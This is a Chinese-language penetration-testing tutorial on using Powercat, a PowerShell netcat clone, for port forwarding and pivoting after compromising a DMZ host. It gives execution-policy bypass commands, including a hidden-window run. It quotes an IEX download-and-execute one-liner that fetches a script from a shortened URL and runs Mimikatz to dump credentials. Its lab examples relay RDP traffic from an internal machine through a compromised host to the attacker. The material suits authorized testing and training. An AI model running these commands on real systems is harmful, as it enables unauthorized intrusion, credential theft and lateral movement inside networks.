实战中,我们也会遇到需要我们进行端口转发的情况,比如已经拿下的目标机1是在dmz区,而目标1所在内网的其他目标只能通过目标1去访问,这时候我们就需要端口转发或者代理来进行后渗透。这次就要介绍一个加强版的nc,基于powershell的后渗透工具
Powercat
下载地址:Lhttps://github.com/besimorhino/powercat
0x01 powercat准备
首先得改一下ps的执行脚本权限
Set-ExecutionPolicy Bypass
然后直接执行我们的powercat脚本即可。
也可以通过常规三种绕过执行策略的方式执行ps脚本
本地权限绕过
PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1
本地隐藏权限绕过执行脚本
PowerShell.exe -ExecutionPolicy Bypass -NoLogo -Nonlnteractive -NoProfile -WindowStyle Hidden(隐藏窗口) -File xxx.ps1
用IEX下载远程PS1脚本回来权限绕过执行
powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI');Invoke-Mimikatz-DumpCreds"
所以,直接选择最简单的吧,也别下载了,直接远程权限绕过,在Powershell 中执行:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
可以看到Powercat已经成功执行了
0x02 使用powercat端口转发
先来看下参数
不过端口转发中我们只需要其中几个参数
命令解析:
-c 指定一个ip地址
-p 指定一个端口
-v 显示详情
-l 监听模式,用于入站链接
-p 本地端口号
-e 程序重定向,跟nc一毛一样
-v 显示详情
下面用实际例子来说明每个参数的作用
例子一:
环境: 192.168.190.135 windows2003开放了3389(目标机)
192.168.190.149 windows8 (攻击机)
将192.168.190.135上的3389服务流量转发到本地的9001端口,攻击机用到的命令为:
powercat -c 192.168.190.135 -p 3389 -v -r tcp:9001
然后连接本地的9001端口,可以发现是转发成功的。
例子二:
环境: 192.168.190.135 windows2003开放了3389(内网目标机)
192.168.190.151 windows8 (外网目标机)(与内网目标机处一个内网)
192.168.190.149 windows8 (攻击机)
Ps:假设攻击机拿下了外网目标机的权限,想进一步内网渗透但是不能直接访问内网目标机的3389服务,只能通过外网目标机访问内网目标机的3389服务。
外网目标机执行:
powercat -c 192.168.190.135 -p 3389 -v -r tcp:6666
(连接内网目标机的3389端口,将流程转到自己的6666端口)
攻击机执行:
powercat -c 192.168.190.151 -p 6666 -v -r tcp:1111
(连接外网目标机的6666端口,把流程转到本地的1111端口)
可以看到转发成功。